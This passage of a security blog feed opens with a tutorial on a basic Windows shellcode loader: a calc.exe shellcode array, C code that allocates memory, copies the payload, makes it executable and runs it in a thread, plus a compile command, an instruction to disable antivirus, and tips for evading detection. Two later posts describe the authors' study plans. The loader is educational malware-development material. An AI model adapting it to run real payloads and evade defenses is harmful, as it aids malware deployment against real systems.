    <span class="hljs-string">"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"</span>
    <span class="hljs-string">"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"</span>
    <span class="hljs-string">"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"</span>
    <span class="hljs-string">"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"</span>
    <span class="hljs-string">"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"</span>
    <span class="hljs-string">"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"</span>
    <span class="hljs-string">"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"</span>
    <span class="hljs-string">"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"</span>
    <span class="hljs-string">"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"</span>
    <span class="hljs-string">"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"</span>
    <span class="hljs-string">"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"</span>
    <span class="hljs-string">"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"</span>
    <span class="hljs-string">"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"</span>
    <span class="hljs-string">"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"</span>
    <span class="hljs-string">"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"</span>
    <span class="hljs-string">"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"</span>
    <span class="hljs-string">"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"</span>
    <span class="hljs-string">"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"</span>
    <span class="hljs-string">"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"</span>;

    DWORD dwShellcodeSize = <span class="hljs-keyword">sizeof</span>(pShellcode);

    <span class="hljs-comment">// allocate buffer</span>
    pExecBuff = VirtualAlloc(<span class="hljs-number">0</span>, dwShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
    <span class="hljs-keyword">if</span> (pExecBuff == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not allocate buffer\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] allocate memory buffer in current process:\t0x%p\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    <span class="hljs-comment">// copy payload over ; no return value from RtlMoveMemory</span>
    RtlMoveMemory(pExecBuff, pShellcode, dwShellcodeSize);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] copied payload to buffer\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    bState = VirtualProtect(pExecBuff, dwShellcodeSize, PAGE_EXECUTE_READ, &amp;dwOldProtect);
    <span class="hljs-keyword">if</span> (bState == <span class="hljs-number">0</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not update protection rights to PAGE_EXECUTE_READ\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[+] updated protection rights to PAGE_EXECUTE_READ\n"</span>, pExecBuff);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to continue...\n"</span>);
    getchar();

    hThread = CreateThread(<span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>, (LPTHREAD_START_ROUTINE) pExecBuff, <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);
    <span class="hljs-keyword">if</span> (hThread == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[!] could not execute payload\t(0x%lx)\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
    WaitForSingleObject(hThread, INFINITE);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[*] executed payload in new thread (%d)\n"</span>, GetThreadId(hThread));
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[#] Press &lt;ENTER&gt; to exit...\n"</span>);
    getchar();

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<hr />
<h3 id="heading-compiling">Compiling</h3>
<p>I personally like to compile simple programs like this using the command line tools in Visual Studio’s Developer Command Prompt since I enjoy coding in VS Code more, but using Visual Studio’s GUI to build the solution is perfectly fine as well.</p>
<p>The program can be compiled with the following command:</p>
<pre><code class="lang-powershell">cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcshellcode_loader.c /link /OUT:shellcode_loader.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
</code></pre>
<hr />
<h3 id="heading-runtime-analysis">Runtime Analysis</h3>
<p>Since the execution of the loader is fairly straight forward and doesn’t need a deeper analysis, we’ll be using <a target="_blank" href="https://systeminformer.sourceforge.io/">System Informer (formerly Process Hacker)</a> to do our runtime analysis.</p>
<p>I definitely recommend using a tool like <a target="_blank" href="https://x64dbg.com/">x64dbg</a> to debug the loader and do a deeper analysis, I just won’t be to save time and help out my fellow maldev noobs (^_~)</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">❗</div>
<div data-node-type="callout-text">Before continuing, disable any AV or EDRs present on your host as the loader will be annihilated just from touching the disk</div>
</div>

<p>After executing the loader we can find the process in System Informer, navigate to the <code>Memory</code> tab and look for the base memory address of our newly created buffer.</p>
<p>We can see that it’s currently empty and has RW protection rights just as we set it to be.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769051136507/c7ca4849-9a7a-408d-ad69-4bfba1a43493.png" alt class="image--center mx-auto" /></p>
<p>After pressing enter to continue with the execution chain, the payload is copied over to the buffer with the exact same bytes of our shellcode <code>0xfc 0×48 0×83 0xed …</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769051496226/d11fb0ee-6bee-4fa9-9f1a-ab5b2c793364.png" alt class="image--center mx-auto" /></p>
<p>Continuing with the execution chain, we can see that the protection rights of the buffer has changed to RX making the payload ready for execution.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769051636104/81bd6d45-7838-44ca-99e0-245e752ffd12.png" alt class="image--center mx-auto" /></p>
<p>Finally, our shellcode is executed in a new thread, popping a calculator open. The ID of the thread executed the payload can be seen in the console and confirmed to exist in the <code>Threads</code> tab in System Informer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769051821082/6bf73b47-12b6-4079-a4de-343080628057.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This shellcode loader is definitely one of the most basic ones you can make and will probably get picked up by AVs and EDRs 99.9% of the time.</p>
<p>A couple simple ways to make it evasive for basic AVs is to encrypt the shellcode using XOR or AES and call the Win32 APIs using their memory address with <code>GetProcAddress()</code> and <code>GetModuleHandle()</code>.</p>
<p>Hopefully this sparked your interest in malware development and makes you want to go deeper since this was very surface level. I recommend doing some research and challenging yourself to bypass Windows Defender.  </p>
<p>Thinking of doing a Windows Native API implementation of this for the next blog, but we’ll see when I have the time for it 😅  </p>
<p>Happy hacking 😸</p>
<h3 id="heading-credits">Credits</h3>
<p>I owe all my malware development knowledge to following platforms and courses :</p>
<ul>
<li><p><a target="_blank" href="https://institute.sektor7.net/red-team-operator-malware-development-essentials">Sektor7’s RED TEAM Operator: Malware Development Essentials Course</a></p>
</li>
<li><p><a target="_blank" href="https://maldevacademy.com/maldev-course">Maldev Academy’s Malware Development Course</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Aspiring Security Researcher - About Me]]></title><description><![CDATA[What Initially Drew Me to Security Research?
Cybersecurity is a huge field.. So many directions to go.. but I'll always follow my heart.. And I've always loved learning about the low-level stuff in computing.. my heart always goes to the fundamentals...]]></description><link>https://blog.nullthreat.ca/aspiring-security-researcher-about-me</link><guid isPermaLink="true">https://blog.nullthreat.ca/aspiring-security-researcher-about-me</guid><category><![CDATA[exploit development]]></category><dc:creator><![CDATA[Muhannad AK]]></dc:creator><pubDate>Thu, 18 Sep 2025 00:38:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758155372797/0bf25b13-b50f-4840-ad9d-b5a9fc671242.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-initially-drew-me-to-security-research">What Initially Drew Me to Security Research?</h2>
<p>Cybersecurity is a huge field.. So many directions to go.. but I'll always follow my heart.. And I've always loved learning about the low-level stuff in computing.. my heart always goes to the fundamentals.. how do computers work? how do operating systems work? how does the normal software applications work? how virtualization achieves what it achieves? how did we turn electricity into applications? and so on.</p>
<p>With that passion.. I started delving deeper.. when in 2019.. I read a book called "But How Do It Know?".. the book starts with the joke - A guy goes to the market.. finds someone selling a flask bottle.. the seller tells the guy that the bottle can keep cold liquid cold.. and warm liquid warm.. the guy questions "but, but, but - how do it know?" - how does the bottle know, if the liquid is cold or warm? that's the joke - the bottle doesn't know the temperature of the liquid at all.. the way a flask bottle works is very scientific.. the container is surrounded by vacuum which slows down temperature exchange between the outside environment and the inside of the container thus maintaining the temperature of the liquid inside - cold or warm.</p>
<p>And then the book goes on explaining how computers are the same.. we look at this black box wondering how this thing does all the things that runs the world just by taking electricity as the input.. most of the things are abstracted thus giving the complexity.. but if we break it down.. computers are actually very easy to understand.. and that was the beginning of my journey learning about computer architecture.. a very simple architecture.</p>
<h2 id="heading-going-deeper-building-from-nand-gates">Going Deeper - Building from NAND Gates</h2>
<p>I kept going.. I took a course called NAND to Tetris.. where we start with a NAND gate.. build the different parts of a CPU.. build a memory.. connect them together so the CPU can take instructions from the memory.. save data in memory.. and has IO to facilitate connections with peripherals.. thus building the whole computer where we write instructions in assembly.. and finally write a compiler that takes a higher level language and compiles it into assembly that is used by the processor.. and use programming to write a video game - Tetris.</p>
<p>This course was beautifully created.. gave me a better understanding of how a simple computer can come into existence.. it also helped me understand the basics of assembly language.. Later I read "Assembly Language Step-By-Step" Book by Jeff Duntemann.. which is an old book.. to learn more about x86 assembly.. it also talks a little about linkers and loaders and how programs are ran after they are compiled.</p>
<h2 id="heading-the-operating-system-journey">The Operating System Journey</h2>
<p>But that's not the end.. modern applications don't run on hardware directly.. hardware is fully managed by the operating system.. now the next step I thought was to learn about how operating systems work.. with that in mind I started my journey to understand operating systems.. starting with the dinosaur book - "Operating System Concepts".. a book I found in an old book store just laying there probably for years.. waiting for me to come and take it one day.. and that's what happened.</p>
<p>It took me a while to finish the book.. as most of the concepts were very new to me.. but that didn't satisfy my curiosity.. I thought why don't I write my own operating system.. as the best way to learn something by heart is by getting your hands dirty and execution.. I took a Udemy course "Developing a Multithreaded Kernel From Scratch", supplementing with the <a target="_blank" href="http://osdev.org">osdev.org</a> site.. to spend the next 2 months writing a kernel very similar to Linux.. but very very basic - with a built-in library, a simple shell, FAT16 file system.. ELF loaders.. simple process/task/memory managers, bootloader and so on.</p>
<h2 id="heading-the-covid-turning-point-into-security">The COVID Turning Point - Into Security</h2>
<p>As you see.. until now.. all I did was learn about the fundamentals.. which never actually ends.. These were before Covid.. I remember during Covid when I understood that I'll be stuck at home for at least a year during the quarantine time.. I thought how can I make use of this time.. that's when I was looking into learning more about hacking.. I was inspired by Mr Robot the 2014 show.. when I watched it as a teenage kid.</p>
<p>During that time tho.. there weren't that many resources to learn hacking available to me like it is right now.. I found Heath Adams Udemy course which was a complete course for ethical hacking for beginners.. but it was very difficult for me to understand as I was missing a lot of the prerequisites.. such as networking (I didn't even understand what an IP address is).. so another fundamental.. with that in mind I started learning about networking.. and I ended up taking a CCNA course and passing the exam on December 2020.</p>
<p>Around that time I also did some binary exploitation exercises on HTB.. strengthening my understanding more about assembly and how low level vulns can be abused.. but my technical abilities hit a ceiling.. I'm still 21 years old.. who is learning everything on his own.. and I wanted to get a job in cybersecurity where I can learn more about the real world.. and contribute as well.</p>
<h2 id="heading-building-up-the-security-skills">Building Up the Security Skills</h2>
<p>With all the good foundational knowledge that I had.. I wanted to learn more about cybersecurity.. started with Security+ then finished the CPTS path on HackTheBox which taught me so much about penetration testing.. a very technically detailed course ever created.. after that did the CySA+ cert.. did a cloud cert called the AWS Cloud Practitioner.. and currently studying for the SecurityX certification while working as a SOC Analyst for a huge MSSP.</p>
<h2 id="heading-where-my-heart-takes-me-the-low-level-path">Where My Heart Takes Me - The Low Level Path</h2>
<p>Like I said.. my heart always goes to the low level stuff.. I still think to myself.. that I haven't even dived deeper into things like linkers and loaders.. I wanted to write my own compiler.</p>
<p>So my binary exploitation study journey.. my kernel development journey.. penetration testing journey all of that made me fall in love with offensive security.. focused on low level computer operations.</p>
<p>I'm currently reading Windows Security Internals.. and I'll write more about it in the upcoming blogs as I learn more.. one thing I learned so far is that not many people understand Windows at a low level as it is closed source.. so I see a lot of value in it.</p>
<p>I'm also planning to take courses in OpenSecurityTraining2 which is all about low level stuff - It has courses on WinDB, from beginner to intermediate to advanced! A well as courses on assembly language, Windows kernel exploitation and more. I also plan to do courses from MalDev Academy suggested to me by a good friend, <a target="_blank" href="https://www.linkedin.com/in/anton-j-069a3226b/">Anton</a>. And eventually take the OSED exam.</p>
<h2 id="heading-whats-next">What's Next?</h2>
<p>This blog is going to be my way of documenting everything I learn.. sharing the struggles.. the wins.. the random rabbit holes I go down when something catches my curiosity.. because let's be honest.. the journey never really ends when you're someone who can't stop asking "but how do it know?"</p>
<p>If you're like me.. someone who needs to understand things from the ground up.. who gets excited about assembly code and kernel internals.. who thinks writing your own OS is a fun weekend project.. then stick around.. we're going to dive deep into some really cool stuff.</p>
<p>Next up.. I'll be sharing what I'm learning from Windows Security Internals.. and trust me.. it's fascinating how much is happening under the hood that most people never see.</p>
<h2 id="heading-resources-mentioned">Resources Mentioned</h2>
<p>Here are all the resources I talked about in this post.. in case you want to check them out yourself.</p>
<p><strong>Books:</strong></p>
<ul>
<li><p>But How Do It Know? - The Basic Principles of Computers for Everyone by J. Clark Scott - <a target="_blank" href="https://www.amazon.ca/But-How-Know-Principles-Computers/dp/0615303765">Amazon</a>.</p>
</li>
<li><p>Assembly Language Step-by-Step by Jeff Duntemann - <a target="_blank" href="https://www.amazon.ca/Assembly-Language-Step-Step-Programming/dp/0470497025">Amazon</a>.</p>
</li>
<li><p>Operating System Concepts (The Dinosaur Book) by Abraham Silberschatz, Peter B. Galvin, Greg Gagne - <a target="_blank" href="https://www.amazon.ca/Operating-System-Concepts-Abraham-Silberschatz/dp/1118063333/">Amazon</a>.</p>
</li>
<li><p>Windows Security Internals by James Forshaw - <strong>Amazon</strong>.</p>
</li>
</ul>
<p><strong>Courses:</strong></p>
<ul>
<li><p>NAND to Tetris (<a target="_blank" href="http://nand2tetris.org">nand2tetris.org</a>)</p>
</li>
<li><p>Developing a Multithreaded Kernel From Scratch (<a target="_blank" href="https://www.udemy.com/course/developing-a-multithreaded-kernel-from-scratch">Udemy</a>)</p>
</li>
<li><p>Practical Ethical Hacking by Heath Adams (<a target="_blank" href="https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course">TCM Security</a>)</p>
</li>
<li><p>CPTS Path on <a target="_blank" href="https://academy.hackthebox.com/path/preview/penetration-tester">HackTheBox Academy</a></p>
</li>
<li><p><a target="_blank" href="http://OpenSecurityTraining.info">OpenSecurityTraining.info</a> (for low-level security courses)</p>
</li>
<li><p>Malware Dev Academy (<a target="_blank" href="https://maldevacademy.com/">https://maldevacademy.com/</a>)</p>
</li>
</ul>
<p><strong>Other Resources:</strong></p>
<ul>
<li><p><a target="_blank" href="http://osdev.org">osdev.org</a> - for OS development</p>
</li>
<li><p><a target="_blank" href="https://www.hackthebox.com/">HackTheBox</a> - for penetration testing and binary exploitation practice.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Documenting my SecurityX studies]]></title><description><![CDATA[Hello everyone,
Thanks to the persistence of my friend, Anton, who is the founder of this blog. We’ve decided to come together and begin documenting both our journeys in the cyber space.
I’ve worked as a SOC analyst for 2 years and would like to begi...]]></description><link>https://blog.nullthreat.ca/documenting-my-securityx-studies</link><guid isPermaLink="true">https://blog.nullthreat.ca/documenting-my-securityx-studies</guid><category><![CDATA[CompTIA SecurityX Certification]]></category><category><![CDATA[CompTIA Certification]]></category><dc:creator><![CDATA[Justin Suico]]></dc:creator><pubDate>Wed, 10 Sep 2025 03:51:49 GMT</pubDate><content:encoded><![CDATA[<p>Hello everyone,</p>
<p>Thanks to the persistence of my friend, Anton, who is the founder of this blog. We’ve decided to come together and begin documenting both our journeys in the cyber space.</p>
<p>I’ve worked as a SOC analyst for 2 years and would like to begin writing to document and share my progression for those who are also studying for the SecurityX or any certification.</p>
<p>I currently hold the CySA, Security+, Splunk, and Microsoft certs. My current goal at the very moment is to obtain the coveted SecurityX cert by the end of 2025.</p>
<h3 id="heading-what-material-am-i-using">What material am I using?</h3>
<p>My study material will be strictly using Jason Dion’s course found on Udemy. I’ll be following the 60 day study guide that he was outlined and hoping to pass the exam in mid-late November.</p>
<p>I’m not sure how I’m going to document and share my studies, but I’ll find a way.</p>
<h3 id="heading-whats-after">What’s after?</h3>
<p>After obtaining this cert, I will most likely take a break for the remainder of year and work through the HTB CPTS course and begin preparation to tackle this as my next exam. I believe with the current experience and certifications I hold would provide a more grounded foundation which would help assist in tackling more technical challenges.</p>
<p>Thanks to those who’ve read this far!</p>
<p>Happy studying~</p>
]]></content:encoded></item><item><title><![CDATA[MalDev Horizons]]></title><description><![CDATA[After passing multiple entry and intermediate level offensive security certifications such as the OSCP, CPTS, CRTP and most recently the CRTO, I’ve decided to take a break from certifications (unless the new RTO II drops) and dive into the world of m...]]></description><link>https://blog.nullthreat.ca/maldev-horizons</link><guid isPermaLink="true">https://blog.nullthreat.ca/maldev-horizons</guid><dc:creator><![CDATA[Anton Johnson]]></dc:creator><pubDate>Thu, 04 Sep 2025 21:31:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757024345721/60c4879b-cb4a-4c85-933f-53d253f0ac3b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>After passing multiple entry and intermediate level offensive security certifications such as the OSCP, CPTS, CRTP and most recently the CRTO, I’ve decided to take a break from certifications (unless the new RTO II drops) and dive into the world of malware development and OPSEC.</p>
<h3 id="heading-inspiration">Inspiration</h3>
<p>This inspiration first struck my soul after getting gobbled up by EDR and setting off numerous alerts two past engagements. I purchased the <a target="_blank" href="https://maldevacademy.com/maldev-course">MalDev Academy Malware Development Course bundle</a> but then quickly remembered that I actually know very little about how computers work at a low-level along with programming in Assembly language or C 🤠</p>
<p>I then decided to take the new CRTO course and exam from <a target="_blank" href="https://www.zeropointsecurity.co.uk/">Zero-Point Security</a> due to its high praises on the teachings of OPSEC and using the industry standard C2 Cobalt Strike.</p>
<p>The exam scores are based on achieving the objective and maintaining good OPSEC. I failed my first attempt due to poor OPSEC and getting stuck on the final step of the objective (I overlooked something very simple lol). For the OPSEC portion, I specifically lost points on the Malware section where points are deducted if Defender detects malware on a host.</p>
<p>The second time around I passed with obtaining the objective and having a perfect score on all other OPSEC considerations which was nice, I still lost points in the Malware section because my beacon was detected a few times 😅</p>
<h3 id="heading-the-master-plan">The master plan</h3>
<p>After talking to my good friend <a target="_blank" href="https://www.linkedin.com/in/muhannad-muhannad/?originalSubdomain=ca">Muhannad</a> he mentioned that I should take a look at <a target="_blank" href="https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch1001_x86-64_Asm+2021_v1/about">OpenSecurityTraining2’s Architecture 1001: x86-64 Assembly</a> free course to learn how computers work at one of the lowest levels before diving into C and malware development so my base could be even stronger.</p>
<p>That suggestion got me thinking:</p>
<blockquote>
<p>“Man, the l337est hackers didn’t have all these tools and resources to their disposal like I do and they still know more than I do.”</p>
</blockquote>
<p>With that thought, I decided to go low-level 😼</p>
<p>I’ve created the following roadmap to do just that.</p>
<ol>
<li><p>Learn x86-64 ASM using the <a target="_blank" href="https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch1001_x86-64_Asm+2021_v1/about">Architecture 1001: x86-64 Assembly</a> from OpenSecurityTraining2’s</p>
</li>
<li><p>Learn C using <a target="_blank" href="https://www.w3schools.com/c/index.php">W3school’s free C</a> course and create various projects and applications to hammer the language into my brain.</p>
</li>
<li><p>Dive into Maldev Academy’s <a target="_blank" href="https://maldevacademy.com/maldev-course">Malware Development Couse</a> and complete every module and challenge lab</p>
</li>
<li><p>Take the <a target="_blank" href="https://www.zeropointsecurity.co.uk/courses">RTO II course (CRTL)</a> and really take my time going through the material</p>
</li>
<li><p>Pwn all of (or at least the majority) of the HTB Pro Labs with proper OPSEC, custom payloads and a C2</p>
</li>
<li><p>Seek therapy to address the lingering imposter syndrome for being in the offensive security sphere🫠</p>
</li>
</ol>
<h3 id="heading-outro">Outro</h3>
<p>With this roadmap in front of me I’ll be sharing my journey and things I’ve learnt along the way within this blog for the other noobs that also want to be L337.</p>
<p>No promises that I’ll be consistent though since writing these does take a sometime :D</p>
<p>Happy hacking 😸</p>
]]></content:encoded></item></channel></rss>